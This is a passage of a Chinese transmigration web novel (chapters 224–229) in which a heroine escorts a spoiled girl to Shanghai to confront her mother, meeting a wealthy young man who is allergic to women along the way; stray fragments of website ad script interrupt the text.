当时原主虽还小,才六岁,却没傻到说实话。 只是说她是逃荒路上和家人走散的,事实是她的家人全饿死在逃荒路上了。 所以,她说要去寻家人,村长不好说什么。 至于说要带孩子去找亲妈,亲妈还是他们知道的“熟人”,他更不好说什么。 主要关键还是原主立的“傻好人”人设太深入人心了,大家一点没怀疑她的话。 第224章 年代文里的童养媳(07) 就这样,人群很快散去了。 人群:刚听了如此大一个消息,不赶紧散了,去四处传播传播,都对不起他们这张嘴。 牛婶子跟着人群离开时,还回头用看小可怜的眼神看了白幺幺一眼。 屋里只剩白幺幺和女主后,白幺幺伸手揉了揉肚子。 她看都没看女主一眼,直接离开去厨房给自己倒腾吃的。 土灶她会烧。 有些菜就是要柴火土灶做出来的味才更赞,作为吃货,她怎么可能没点亮这个技能。 考虑到这副身体长时间受饿,白幺幺找出米来,准备给自己熬碗粥喝喝。 这个家,穷是真的穷,能找到的好东西真的不多。 原主平时除了留下点口粮,其他能拿去换钱的都拿去换了。 没办法,她要攒钱让女主上学。 不仅仅只是上小学,后面还有初中,高中,大学。 忙活了快一个小时,白幺幺才吃上了一碗香喷喷粘稠的白粥。 她还给自己煎了个鸡蛋,整了盘野菜炒腊肉。 白慕雪在白幺幺进到厨房后,就回自己房间了。 她可还记得,坏女人说过几天要带她去找妈妈,她可不得准备准备。 爸爸有和她说过妈妈的,他说妈妈很美很美,就像误入凡间的仙女。 她很温柔,很善良,最重要的是还很爱爸爸和她。 爸爸和她说了很多关于妈妈的,可就是没告诉她妈妈原来没有变成天上的星星。 想来爸爸应该是忘记告诉她了。 只是,妈妈既然还在,为什么都不来找她和爸爸。 白慕雪心里有疑问,却没生出什么怨恨来,只是想着到时见到妈妈,她亲自问下就是了。 闻到屋外飘进来的香味时,白慕雪收拾衣服的动作停顿了下,脸上闪过纠结之色。 如果等下坏女人过来喊她去吃饭,她要不要出去吃? 哼,她才不吃坏女人做的东西了! 可是,坏女人用的都是她家的东西,她凭什么不吃。 还有她要是不吃,不就便宜那坏女人了。 等那坏女人来求着她出去吃,她再出去吃吧! 被偏爱的有恃无恐,白慕雪可不就是吃准了原主。 可惜了,现在在原主身体里的是白幺幺同志。 半个小时过去,还没人进来喊她出去吃饭,白慕雪有点坐不住了。 她饿呀! 今天哭了好几场,可耗体力了。 又过了半个小时,依旧没人进来喊她出去吃。 白慕雪已经饿得肚子咕咕叫了好几回,人也难受得紧。 她长这么大,还没这般饿过肚子。 小孩子就是小孩子,能有多大的骨气。 最后还不是开门走了出去。 不过不忘仰着脑袋,像只高傲的白天鹅。 只是吧,白慕雪注定失望了。 白幺幺早已经吃完,出门进山去了。 要出远门了,她不得去整点盘缠。 而且这具身体亏损的厉害,也需要找点药材和好东西调理调理。 富贵险中求,白幺幺带上点家伙事,就直接往深山里走。 没办法,村民每天都有人进山,有好东西还能留到她现在捡漏。 不过为了安全起见,村民都没敢进到深山里去。 不得不说山里的好宝贝是真的多。 半天的功夫,白幺幺挖了一箩筐的草药。 有好些上了年份的黄精,何首乌等,她还好运气的挖到了一根五十年份的野山参, 最后白幺幺还打到了两只野鸡,三只野兔。 天色渐暗,白幺幺收获满满的,没在山上逗留。 她只留一只野鸡,晚上炖着吃。 另外一只以及三只野兔,直接拿去和村里换钱了。 她可是放话出去要离开去找家人的,出远门没点钱怎么行。 村里人惊讶她运气如此好,却也仅仅是惊讶,没起啥其他心思。 买她东西的村民,或多或少都有看她可怜,想帮帮她的意思。 一只野鸡,三只兔子,白幺幺总共到手了十块钱。 晚上,她煮了白米饭,炒野菜,还炖了半只鸡,里面放了不少调理身体的草药。 依旧是一个吃独食,至于女主,呵呵,谁管她了。 反正饿不死就是,她可是知道女主还藏着不少好吃的了。 也不知道是不是较上劲儿了,女主开始和白幺幺单方面冷战。 或许是还指望着白幺幺带她去找她妈,也没再作啥妖。 白幺幺这两天起早摸黑的进山,开启拼命三郎模式。 村里人近期哪里有空关注她,只要一聚在一起,全是在八卦秦雪未婚产女的事。 第二天,白幺幺猎了头野猪。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 身体素质还跟不上,她多少挂了点彩。 继她给村里提供了那样一个惊天大八卦,这回她可是给村里人带来了实实在在好处。 野猪白幺幺只要了野猪肚,配合一些中药,用来调理下自己的肠胃。 其他的全让村长分给了村民,野猪个头不小,可想而知村民心里有 多高兴。 白幺幺做事喜欢速战速决,准备个两三天就够了,她在原剧情中捡到男主的这天启程了。 村长人很不错,外加上那头野猪的功劳。 他很爽快给开了介绍信,同时还偷偷塞了点钱票给她。 白幺幺:“……” 这个年代的人,真的挺好的。 接过带有这个时代特色的介绍信瞅了瞅,挺新奇的。 她知道很快身份证就要出来了,而这种介绍信慢慢就要退出历史的舞台。 白慕雪这几天的日子可谓过得惨兮兮,只是想到很快就能见到妈妈,她都咬咬牙忍下来了。 和白幺幺的大包小包不一样,她的行李就比较少。 两个小包,一个里面装的是她最好看几件衣服以及她爸留给她的一些钱和首饰。 另一个则是装了那些她平时藏起来的吃的。 出村时,挺多人来送行的。 白幺幺是要去寻家人,大家也不好劝什么。 好些人都偷偷给白幺幺塞了东西,考虑到她是要远行,塞钱和票的居多。 虽然金额不大,但都是大家的心意,白幺幺心里暖暖的。 白慕雪其实盯着白幺幺的大包裹看了很久,她想闹,想检查下对方有没有偷她家的东西。 只是想到还要指望白幺幺带她去找她妈,而且这两天白幺幺每天进山带回很多东西,她不是没有看到。 再说了,家里有啥好东西,爸爸都和她一一说了。 她离开前也一一看了,都没少。 秦雪的事已经在十里八村都闹开了,也传到了镇上秦雪父母那儿。 没有意外的,秦雪那也知道了。 所有人都以为白幺幺会带着孩子去镇上找孩子的外公外婆,秦雪也是这样么想的。 她交代自己爸妈,孩子就留在他们身边养,她每个月会打生活费回去。 其实当秦雪知道自己婚前生了个女儿的事情暴露时,心里根本不平静,很是恐慌。 她好不容易有了个儿子,好不容易…… 第225章 年代文里的童养媳(08) 白幺幺:“……” 她自始至终说的都是把孩子给她妈送去呀! 至于送去给孩子外公外婆? 不,不,不。 说了给她妈送去,那就是给她妈送去。 白幺幺同志说话那绝对是一个唾沫一个钉,说到做到的。 在这个出行基本全靠走的年代,哪怕平时白慕雪被养得娇气些,走路功夫也还是可以的。 白幺幺那是掐着时间的,带着女主从剧情中捡到男主的地方路过。 没错,就只是路过。 捡,是不可能捡的。 也不知道是剧情的力量,还是男女主特殊的吸引力发生作用了。 原剧情中是走在前面的原主先发现了路边掩在草丛里的男主。 而此刻,落后她好几米的女主发现了男主。 “等……等一下……那边好像有人在招手。” 白慕雪咬着唇纠结很久,才冲着白幺幺背影喊出声的。 白幺幺:“……” 她回头顺着女主视线看去。 果然,求生欲很强的男主,正伸出一只手来,有气无力的摇摆着。 白幺幺冷漠脸,转头继续往前走。 “还要去找你妈吗?要就赶紧跟上!” 没错,白幺幺同志就是故意搞事的。 女主呀,给你上一课,鱼和熊掌是不可兼得的。 要妈,还是要男主,是时候做出选择了! 白慕雪咬着唇,很努力的压下想往路边草丛那走去的冲动。 她很想出声指责坏女人,真是坏透了,有人在求救,都不过去看下。 自己不过去看就算了,还不让她过去看。 自从坏女人不伪装了,真的是越来越坏了。 在当个助人为乐的善良小天使与当个有妈就是块宝的幸福孩子两者间,女主最终还是选择了后者。 白幺幺:”……“ 不错,男人么,哪里有亲妈重要。 没想到这女主,小小年纪觉悟就如此高了。 一路上白幺幺可不会惯着女主,花钱的时候,比如吃饭,买车票,住宿等等,都是各出各的,反正女主可是有小金库的。 再说了,这些钱省着干嘛? 很快就要去投奔豪门亲妈,未来可不缺这点钱了。 秦雪父母在家里等呀等,等到天黑都没等到人。 老两口刚开始听到女儿高中时竟然偷偷谈对象,之后更是给那对象生下一个女儿,气得差点没晕过去。 当然,更多的是恐慌害怕。 这事儿要是让女婿知道了,那可怎么办? 还是秦雪给老两口说了,他们女婿是知道这件事的,老两口才算是吃下了颗定心丸。 不过,对于这个即将来投奔他们的外孙女,他们是打心底喜欢不起来。 晚饭后,又等了个把小时,还没见人找来。 老两口将不高兴和嫌弃全写在了脸上,只以为人是舍不得坐车,一路走过来的,才会都这个点了还没到。 已经是上了年纪的人了,让他们牺牲睡眠时间等到深更半夜,那是不可能的。 老两口打着哈欠直接去睡了,想着第二天早上开门,应该就能见到人了。 一夜好梦,老两口甚至睡得比平常还晚起了半个小时。 打开门发现外面空空,没个人影。 老两口皱了皱眉,不高兴的嘀咕起来。 “到了就到了,不好好在门口等着,也不知道跑哪里去瞎溜达了。” 老两口在镇上待了几年,心气越发的高了。 女婿给他们在镇上买这处房子时,老两口怎么可能忍住没去四处显摆。 反正只要稍微打听,不难得到他们住址。 所以,老两口才如此笃定人能直接找上门来。 而早在人出发时,就有人给老两口报信了。 只是一天很快过完,天又黑了,老两口始终没等来人。 这会儿,老两口心中隐隐不安起来。 晚上,老两口睡得不是很踏实。 隔天早早就醒来,赶紧去联系女儿,把情况和人说下。 秦雪这两天心里装着事,是吃不好睡不好,整个人气色瞧着明显差了些。 一大早就接收到老家那边的消息,弘文那养妹还没把孩子送到她爸妈那。 秦雪心里咯噔了下,总有种事情即将脱离掌控的感觉。 秦雪让老家的父母先按兵不动,再等等。 她这边则 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 宽慰自己别瞎想,说不定两个很少出过啥远门的,路上遇到了什么事,比如遇到了……拐子…… 想到这种可能,秦雪的心蓦地揪了下,努力去忽视心中伴随而生的轻松感。 至于人会找来她这边,秦雪才冒出过这样的想法,当即给否定了。 她觉得自己一定是疯了,才会有这样的想法。 也不看看她现在在哪?在沪市啊! 沪市说大不大,说小也不小。 再说了就是他爸妈都不知道她在沪市的住址,弘文那养妹一个大字不识的村妇,怎么可能带个孩子找来。 …… 绿皮火车上,白幺幺同志十分舍 得花钱,到饭点了,直接买火车上的盒饭吃。 三毛钱,有荤有素量还足,一份就能吃得饱饱的。 因着白幺幺只保证把人带到人家妈手上,其他的她可一概不想管。 所以,女主的钱在挤上火车时被偷了,此刻只能看着她吃,这可怨不得她。 白幺幺同志还得庆幸自己有先见之明,让女主付火车票钱时,把下了火车后要坐车的钱也先给了。 她们对面坐着一对母子,妈妈瞧着二十六七八的样子,儿子则八九岁的样子。 两人也买了盒饭,不过只买了一份。 妈妈打开盒饭递给儿子,让儿子赶紧趁热吃。 两边的情况一对比,火车上好些人看白幺幺的眼神就有那么一点点不对劲了。 特别是看女主捂着肚子,时不时抿抿嘴的模样,有个大妈终于看不下去了。 “妹子,妹子,你这样一个人自己吃,让孩子饿着不好吧!” 白幺幺:“……” 妹子喊谁呢? 她可不叫妹子! 继续专心干饭,才不理没吃饱都爱管闲事的。 “妹子,妹子,和你说话呢?” 白幺幺继续埋头干饭。 对面坐着的女人看了眼吃得欢快的儿子,收回目光,伸手想去拍白幺幺扶在饭盒上的手背。 白幺幺反应很快的端着饭盒避开了,而后抬头皱眉看向女人。 “有事?” 真是的,不知道吃饭皇帝大吗? 吃顿饭,都不能让人安生点。 第226章 年代文里的童养媳(09) 白幺幺同志的眼神很冷,很犀利。 女人的话一下子卡嗓子里了。 倒是刚刚妹子妹子喊的大妈见她抬起头来了,忙又将第一次说的话说了一遍。 白幺幺转头看向大妈,赞同的点头。 “孩子饿着是挺不好的,婶子那你就出钱给孩子买盒盒饭吃吧!” 大妈:“……” 车厢里关注这边情况的其他人:“……” 大妈很快反应过来,声音不仅拔高了好几个度,甚至还染上了几分尖锐。 “不是,妹子,为啥要我出钱买盒饭给孩子吃?” 白幺幺眨巴了下眼睛,眼神那叫一个无辜。 “不是你说孩子饿着挺不好的,既然你觉得不好,就该学雷锋同志,好人做到底,可不能光说说,要行动起来呀!” 大妈:“……” 车厢里关注这边情况的其他人:“……” “不……不是……妹子!” 大妈神情难掩的激动,“那又不是我的孩子,饿了凭啥我出钱买饭给她吃。” 白幺幺耸了耸肩,“我怎么知道凭啥,不是你自己跑来说孩子饿着挺不好的,我还以为你是要善心大发,请孩子吃顿饭了。” 大妈飞快的摇头,她不是,她没有。 “妹子,你是搁这儿和大姐我装傻充愣吗?” “我的意思,我的意思是你一个大人咋好意思自己在那捧着盒饭吃得喷香,而让孩子在旁边看着你吃饿肚子。” 白幺幺点了点头,“我好意思呀!” “婶子,你不是不好意思看孩子饿着,那你出钱给孩子买盒盒饭的不就得了。” 大妈:……怎么又绕回来让她买盒饭,她自己都还舍不得买来吃了!!! 这时一个二十出头小伙子过来,将大妈拉走了。 “妈,人家的家事,你管那么多干吗?走了,热水我倒来了,咱们吃饼去。” …… 白慕雪捂着肚子,低下头,不让人看到她的红眼眶。 坏女人,坏女人,坏女人…… 离开村子,越走越远,白慕雪才后知后觉的开始害怕。 她之所以一路上都如此老实,不作妖,不仅害怕被丢在人生地不熟的地方。 还害怕惹怒了坏女人,到时把她卖给人贩子。 经过这么一出,大家算是看出了,白幺幺是个不好惹的,脸皮厚着哩! 火车到站后,白幺幺麻溜的背上行李下车。 白慕雪也赶忙提着自己的小包紧紧跟上,哪怕她只是肚子饿得难受。 可只要一想到很快就能见到妈妈了,白慕雪就浑身有劲。 哼,等见到妈妈后,她一定要告状。 让妈妈知道坏女人的真面目,妈妈那么美丽善良,以后可别让坏女人骗了。 到沪市下车的人太多了,白幺幺随着人流出了车站。 一到外面,她最先做的就是深呼吸。 火车上的那味儿,她真的是忍了很久。 这个年代,就这个条件,她能有啥办法。 只能努力搞钱,下回出远门试着去坐下现在的飞机。 如果还坐绿皮火车,那起码也买个卧铺票。 白幺幺微仰着头深呼吸,下意识的还享受的眯了眯眼睛。 这眼睛一眯,看不清前路,双脚还继续往前走着,可不就坏事了。 她撞到人了。 准确的说,是她半抱半背在前面的大包裹顶到了人。 然后对方还没转头,就先反手过来要抓她的包裹。 嗯,有抢她包裹的嫌疑。 没办法,里面可是装着她最值钱的家当,那根野山参。 所以,不怪白幺幺第一时间会这么想。 然后,白幺幺也出手了。 跟在男人旁边保护男人的手下真的愣住了,实在是变故来的太快了。 白幺幺胸前背着大包裹,背后也还背着一个,简直限制了她的发挥。 与人交了两手,她就往后退开了。 而此时保护男人的人也反应过来,赶忙来到男人身前,将人护在身后。 白幺幺也是这时才有空打量起眼前几人来。 只是扫了眼几人的穿着,特别是刚和她过了两招,此时正被人护在身后的男人那一身打扮,那一身气质。 白幺幺心知自己闹了个乌龙了。 不过,她有什么错。 不小心碰到人的,她可以道歉的。 可是对方干嘛抓她的包裹,害她以为遇到小贼了,才条件反射出手的。 就说这个年代,她一个弱女 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 子带着个孩子出趟远门容易么! 白幺幺同志先声夺人道:“你干嘛抓俺的包裹,害俺以为遇到抢劫的了。” 白幺幺说完,还一阵后怕的拍了拍胸脯。 别说,这具身体还挺有资本的,她很喜欢。 就是皮肤黑了点,糙了点。 不过,这些都不是事,养段时日就养回来了。 对面男人的手下:“……” 他们齐齐看向白幺幺原本是挂在胸前,此刻改单手拎在手上的包裹。 他们爷抢劫? 开什 么天大的玩笑! 哪怕里面装得满满当当都是金银翡翠,他们爷也瞧不上好不。 再说了,真不是他们以貌取人。 而是眼前女人浑身上下都明晃晃的写着一个字,那就是穷! 白幺幺可不知道几人的想法,不然她一定会呵呵的来句中二语录。 兄弟,三十年河东三十年河西,莫欺少年穷,没听过是吧! 嗯,没听过就对了! 原来是误会一场。 张良回头看向自家爷,想请示下接下来要怎么处理。 只是当他看到自家爷白皙修长的手暴露在空气中,没戴着手套时。 他眉心不由的紧了下,心中疑惑。 是刚刚那姑娘碰到了手套,爷才脱掉的吗? 不过爷一直盯着自己的手看干嘛? 张良不知不觉的也跟着盯着看起来。 白幺幺:“……” 两人的动作又不隐讳,白幺幺无语的瞅了眼男人那比女人还白嫩的手,心想着别是想碰瓷她吧! 她这副身体还弱着了,刚刚能使多大力气。 伤着人,绝对是不可能伤着人的。 白幺幺想呀,她要不要也捧着手瞅瞅。 或者,她干脆就直接捂着手开始喊疼吧! 白慕雪紧紧黏在白幺幺身后,她刚刚有点被吓到了。 不过这会儿已经恢复过来,探头偷偷打量着坏女人招惹的那群人。 而这时,男人视线从手上移开,抬眸看过来。 白慕雪像受惊的小兔子,忙低下头去。 只是小脸不知何时通红一片,小心脏也跳得飞快。 好好看的大哥哥呀! 第227章 年代文里的童养媳(10) 白幺幺见人朝她走来,表情怎么形容呢? 不是很好看,差不多就像那种谁欠了他好几百万的样子。 这让白幺幺同志不得不提防起来。 审时度势,能屈能伸才是大英雄。 她已经在思考,等下是先哎哟一声再倒下,还是倒下后再发出哎哟声。 男人在距离白幺幺还有二十公分时停下,微皱着眉将白幺幺从上到下打量了一遍。 白幺幺:“……” 这是打量货物的眼神吗? 白幺幺下意识的微扬起下巴,挺了挺胸脯。 她这是遇到黑老大了,即将被绑走卖掉吗? 有点刺激呀! “手伸出来。” 男人的声音很好听,只是说出的话冷得能掉冰渣子。 白幺幺:“……” 女人,谁给你的勇气碰我的,哪只手碰的,是你自己了断,还是我动手?! 白幺幺同志很热心的在脑中给补全了某霸总语录。 “你……你要干嘛?凭啥你让俺伸手,俺就伸手?” 白幺幺说完,不仅没伸手,还双手交叉护在胸前。 一副对方打算对她意图不轨,而她已经做好抵死反抗准备的模样。 也就是没从对方身上感受到恶意,白幺幺同志才敢这么玩。 她这反应一出,男人额头的青筋肉眼可见的突突跳了两下。 张良等人:“……” 不知道爷要干嘛,不过他们也只能静静看着就是。 男人伸出自己的左手,手背朝上。 “摸一下我的手。” 白幺幺:“……” 主动求摸的她真真是第一次遇到! 真是的,长得好看就可以为所欲为吗? 还有让她摸,她就摸,怎么可能,她是那种随便的人吗? 白幺幺身体往后缩了缩,脸上和眼中全写着“你别过来呀!” 张良等人:“……” 表情跟打翻了调色盘,那叫一个精彩。 特别是张良,他的表情可不止精彩那么简单。 爷……爷他……他不是…… 男人显然没多少耐心,他挑了挑眉,“摸一下,一百。” 白幺幺眼睛睁大了一圈,明显心动了,却没立马答应。 周围人来人往的,有些人匆匆经过,有些人还是好事的停下脚步。 主要是男人不仅长相出众,还一眼瞧着就贵气逼人。 而男人对面的白幺幺,瞧着就是从那个穷山沟里出来的。 皮肤黝黑黝黑的,两个大麻花辫子土里土气的,一身装扮就更不用说了。 张良隐约猜到了什么,他几步来到男人身旁,小声提醒男人周围都是人。 男人皱了皱眉,丢下一句“带上她”,就转身离开了。 白幺幺见男人离开了,立马露出“一百块飞走了”的惋惜表情。 张良见此,心想有戏。 他凑近白幺幺耳边直接开价,“姑娘,这边不方便谈话,你能先跟我们离开吗?” “还有我们真的不是坏人,也不会耽误你多长时间,到时给你两百,然后现在就可以先付你一百。” 富贵险中求,白幺幺将纠结犹豫最后豁出去了的表情演绎得淋漓尽致。 经历一场天人交战后,白幺幺咬咬牙,重重点头。 “是让俺摸刚刚那男人吗?可以,一百块先给俺吧!” 张良认真的看了白幺幺一眼,心想着全身上下,就属那双眼睛最漂亮了。 挺让人惋惜这样一双眼睛不应该长在这样一个人身上的,跟鲜花插在牛粪上差不多。 想到他的猜测,不免唇角抑制不住的抽动了两下。 他有些敷衍的点了点头,随后从口袋里掏出一张百元纸币来。 白幺幺有些猴急的伸手抢过那一百块,直接塞到自己口袋里。 而后她反过来催促道:“快走吧,你们一起的那个谁还等着俺去摸他了。” 张良:“……” 突然有点心疼他们爷了,怎么办?! 白幺幺身后的白慕雪:“……” 她年纪还小,听懂了字面的意思,然后小脑袋就有点不够用了 好看的大哥哥为什么要让坏女人摸他? 还要付钱给坏女人? 白幺幺和张良后面的交流声音很小,围观的人听不到。 而张良拿出钱时,还是有替白幺幺考虑下的,捏在手上,控制角度,只够白幺幺看 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 清楚。 之后,那钱就被白幺幺眼疾手快抢走了。 既然收下了钱,交易算是谈好了。 白幺幺没再犹豫,直接跟着人走。 白慕雪皱着脸,也忙跟上去。 没热闹可瞧了,围观人群很快也散去。 几个世界下来,白幺幺同志看过的狗血文之多,怎么可能没点敏锐嗅觉。 她心里有个大胆的猜测。 不会吧,不会吧,这种情况都能让她遇到。 车里。 白幺幺和男人两人排排坐,中间隔着她的大包裹,还有一个白幺幺自己抱着。 张良原本是想让白幺幺将两个包 裹放外面,他帮忙看着,保准不会弄丢的。 只是吧,白幺幺同志能同意才怪。 第一次坐小轿车,白幺幺浑身不自在的动来动去。 似是想起了还未到手的另外一百块,她把脑袋搁在座位中间的大包裹上。 “同志,不是想让俺摸你,快伸手呀。” 男人低垂了下眸子,并没有马上伸出手。 他从口袋里摸出一块帕子递给白幺幺,意思根本不用言说了。 问白幺幺有没有觉得羞辱难堪,答案当然是没有,完全没有。 毕竟人家给钱了呀,给钱的是大爷。 她爽快的接过帕子,仔仔细细的擦了擦手。 擦完,她问道:“同志,这帕子?” “不要了,你等会带下车扔了。” 男人声音依旧很冷,说完后,他这才伸出手来。 白幺幺见了,忙把帕子揣口袋里,而后伸手朝男人的手摸去。 “同志,你一个大男人,皮肤咋就比姑娘家的还好,又白又嫩的,瞧着就很好摸。” 白幺幺的手才刚触碰到对方的皮肤,男人就跟触了电般,快速抽回手。 白幺幺:“……” 她都还没开始摸呢? 收钱不办事,她可做不来,心里哪里过意得去呀! “同志?不要俺摸了吗?” “是你自己反悔不用俺摸的,已经给俺的那一百块,俺可不会退还给你的哦!” 白幺幺说完,直接拿手捂着口袋,生怕对方扑上来明抢似的。 第228章 年代文里的童养媳(11) 男人垂眸盯着自己的手背看,根本没去听女人说什么。 约莫过去一分钟后,男人再次伸出手,意思不言而喻。 白幺幺有些不高兴的嘀咕起来。 “同志,你到底要不要让俺摸,给个痛快,让摸的话,可就不许再抽回手了哦。” 拿钱不办事,白幺幺同志心里虚呀,所以必须做点什么。 这回她直接两手齐上……打的男人有点措手不及。 白幺幺一手擒住男人的手腕,防止对方再抽回去。 另一只手则十分敬业的开始工作。 农村人,上山下田,活干多了,力气大点没毛病吧! 车里,男人和女人力气的较量,竟平分秋色,不分伯仲。 而两人的手,一黑一白也形成了鲜明的对比。 常年干活的手,粗糙是必然的。 两只手,就像两个世界,他们就这样纠缠在一起了。 白幺幺同志是懂雨露均沾的,摸完手背,摸手心。 与手背的白嫩无瑕相对比,男人的掌心长了好些茧子,还有一道三四厘米长的疤痕。 白幺幺顺着疤痕的纹路轻轻抚过,“同志,你这伤咋来的,当时一定很疼吧!” 回应白幺幺的是简单冷然的四个字,“放手,下车。” 白幺幺:“……” 将用完就丢发挥得明明白白的呀! 年轻人,果然还是不懂社会险恶。 不知道请佛容易,送佛难吗? “同志,这样不好吧!” 白幺幺一脸为难的说:“俺收了你的钱,就必须把事情给你办得漂漂亮亮的。” “虽然吧,摸手也摸不出一朵花来,但俺可以多摸会儿,这样俺才不会过意不去,同志你也才不会吃亏。” 男人额头青筋又突突跳了两下,用力抽回手。 这次白幺幺稍稍放了点水,让男人轻松就抽回手了。 “下车。” 男人再次下起逐客令来。 “同志,是你花钱让俺摸你的,俺都按你的意思摸了,你咋还不开心上了。” 白幺幺同志也不开心了,拿上自己的东西直接下车。 白幺幺一下车,候在车外的张良忙凑上来。 “姑娘,怎么样?” 白幺幺不解的挑眉,“什么怎么样?” “哦,你是问俺拿了钱,事情办得怎么样吗?” “这个你放一百个心,咱们村里人最朴实了,既然拿了你的钱,事情俺肯定也给你办得漂漂亮亮的。” 张良:“……” 他问的根本不是这个。 算了,等下上车时,往爷身上瞅瞅不就知道了。 也不用白幺幺出声讨,张良很爽快的将另外一百块“报酬”给付了。 拿了钱,白幺幺心里美滋滋的。 她哼着歌,带上女主,搞事去了。 看了眼白幺幺离开的背影,张良拉开副驾的门坐了上去。 一上车,他就忙转头看向自家爷。 人很正常,露在外面的皮肤也没有起半点红疹子。 张良很是激动,说话都有些结巴。 “爷,你……她……会不会已经开始好转了。” 别人或许是含着金汤匙出生,他们爷那就是含着金库出生的。 从小天资卓越,各方面能力都很强。 年纪轻轻的,处理事情的手段更是老辣。 可这样的天之骄子却有个隐疾,那就是不能与其他异性有肌肤接触。 一旦与异性有个一星半点的肌肤接触,被触碰到的地方就会立马起红疹。 严重点的,会很快蔓延全身…… 因着有这个隐疾,他们爷平时外出基本是手套不离手的。 可是现在,终于出现一个和他们爷有肌肤接触,却不会引发他们爷隐疾的异性。 张良心里能不激动呀! 他算是月家的家生子,从他曾祖父,到他爷爷,再到他爸,全都在为月家办事。 爷出生后,他也顺理成章的被安排到爷身边。 他比爷大了七岁,而爷今年已经二十二岁了。 要不是因着这个隐疾,早该成家了。 现在就是不知道爷的情况有了好转,还是仅仅那女人对爷来说是特殊的。 还有已经出现一个特殊情况,会不会还有第二个,第三个。 同为男人,又不是去削发为僧了,真的能理解男人要是一辈子不碰女人的痛。 男人声音不咸不淡的说:“把舌头捋直了再说。” 张良点了点头,平复了下心情,才道:“爷,需不需要派人跟着。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 至于跟着谁,这根本不需要说。 如果他们爷的隐疾没好,如果再没第二个特例出现。 那…… 张良咬咬牙,只能委屈下他们爷了,反正女人熄了灯都一样。 最关键的是爷要能有个后代,这才是最终重要的呀! 男人哪里看不出他的心思,轻皱了下眉,说话的声音冷沉,暗含警告。 “不用,今日之事到此为止。” 白幺幺:“……” 啊喂,那个谁,还 委屈了你们爷!!! 哼,当她是来者不拒的渣女呀! 好男人,好男人,她这一世可是非好男人不要的。 至于怎么样算好男人,她脑中早已经有了套成型的标准。 三从四德五不准是必须的,至于其他家规还在陆续增补中。 咱打工人要的就是一个敬业,原主说了要找个好男人,她肯定是不打折扣的去完成。 一路的颠簸,以及身体的饥饿与不适,都没让白慕雪精神萎靡。 相反的,小姑娘的精神越来越亢奋。 她已经被大城市繁华迷了眼,心里满是对未来期待与憧憬。 好看的房子,热闹的街道。 满大街骑着自行车穿着时髦的男男女女,偶尔从身边驶过的公共汽车,以及已经见到了第三辆的小汽车。 当被带到入目全是一幢幢小洋房的地方。 白慕雪不知道伸手整理了几次头发和衣服,整个人开始紧张起来。 白幺幺并没有带着人去敲响某一幢房子的门,她直接扯着嗓子开始沿路吆喝起来。 “秦雪,小河村的秦雪,我把你高中时和我哥未婚先孕的女儿送过来了,你住哪一栋,快出来接收你的女儿。” “秦雪,秦雪,有听到了吗?” “对哟,秦雪的新男人是叫韩东吧!” “秦雪韩东,你们听到了吗,快起床出来接收你们的女儿与继女。” 为了今儿一大早过来搞这么一出,白幺幺同志可牺牲大了。 她还自掏腰包带女主在外面住了一晚,今天早上才带人找过来。 还不是想着大早上五六点的,比较安静,大声喊人才听得到。 而且吧,大早上的,应该都还没出门,不至于跑空。 第229章 年代文里的童养媳(12) 白幺幺边走边大声吆喝,重复就是那几句话,那几个意思。 语言简单粗暴,声音是能喊多大就多大。 她暗暗在心里感慨,要是有个喇叭就更完美了。 直接录下来,然后重复播放。 女主,为了给你找妈,可真不容易,有点费嗓子啊。 白慕雪才看着一幢幢漂亮的房子,想着她以后就要在这其中一处房子里生活,心跳不自觉加快了些。 白幺幺的突然吆喝声真的把她吓到了,呆愣愣的停住脚步。 直到白幺幺的身影越行越远,她才回神。 当听清白幺幺吆喝的内容时,白慕雪一时想不明白其中利害关系。 却不耽误她莫名心慌慌,生出一定要立马阻止坏女人继续这样大喊大叫的冲动。 可惜吧,她这时想阻止已经晚了。 而且,就她,也根本阻止不了好不。 附近住户,本就已经醒来的。 听到白幺幺的吆喝,先是皱眉,而后表情就各不相同了。 不过啊,他们动作挺一致的,都在往屋外走。 而那些睡梦中被吵醒的,大多是臭着张脸从床上坐起来的。 有些怒气冲冲的喊人,准备问下啥情况。 有些自己隐隐约约听到了啥,忙下床打开窗户探出脑袋想听得更清楚些。 还有些,已经穿上衣服急哄哄的出门去了。 没办法,惊天大八卦呀! 大早上的制造噪音,被吵醒,起床气等等,通通啥都不是事呀! 白慕雪小跑的追上白幺幺,直接伸手去扯白幺幺的衣服。 “坏女人,你闭嘴,快闭嘴,不许再喊了。” 可能是即将和妈妈见面,觉得已经不需要白幺幺了。 白慕雪一下子有了底气,也不再忍气吞声。 白幺幺皱眉,一把将人提溜到一边去,眼神冷厉的瞪了人一眼。 “不这么喊,怎么找到你妈?俺又不知道她住哪一幢。” 白幺幺真没撒谎,原剧情中只提到过女主妈这个时间点就住在这一片小洋楼里,却没说具体门牌号。 “还想不想找你妈?要的话,也跟着我一起喊。” 白慕雪:“……” 她当然想找她妈,可是…… 白幺幺也没指望女主真跟着她一起扯着嗓子喊,她不再理人,继续卖力吆喝。 有住户开门出来,喊住白幺幺,那一脸的幸灾乐祸简直不要太明显。 “妹子,妹子,你这大清早在那吵吵嚷嚷的作甚?” “是不是遇到啥难事了,和老姐姐我说说看,说不定老姐姐可以帮到你哟。” 瞌睡就有人送枕头,白幺幺岂有拒绝的道理。 她先是很感动的连连道谢,说自己遇到热心肠的好人了,各种感恩感谢的话先说了一通。 等观众聚集的差不多后,她才开始讲故事。 讲啥故事? 当然是讲女主她妈和她爸那可歌可泣的爱情故事,以及女主她妈被现任老公强取豪夺,强制爱的故事。 问她怎么知道如此详细的,她那死去的养哥告诉她的呀。 爱人为他未婚先孕,两人本准备开始谈婚论嫁,半路却杀出个倚势欺人,横刀夺爱的。 相爱之人被迫痛苦分开,女儿出生就离开妈妈,单亲爸爸一人带娃,就问哪个男人能不恨的? 这一片住着的,就没有不知秦雪和韩东的。 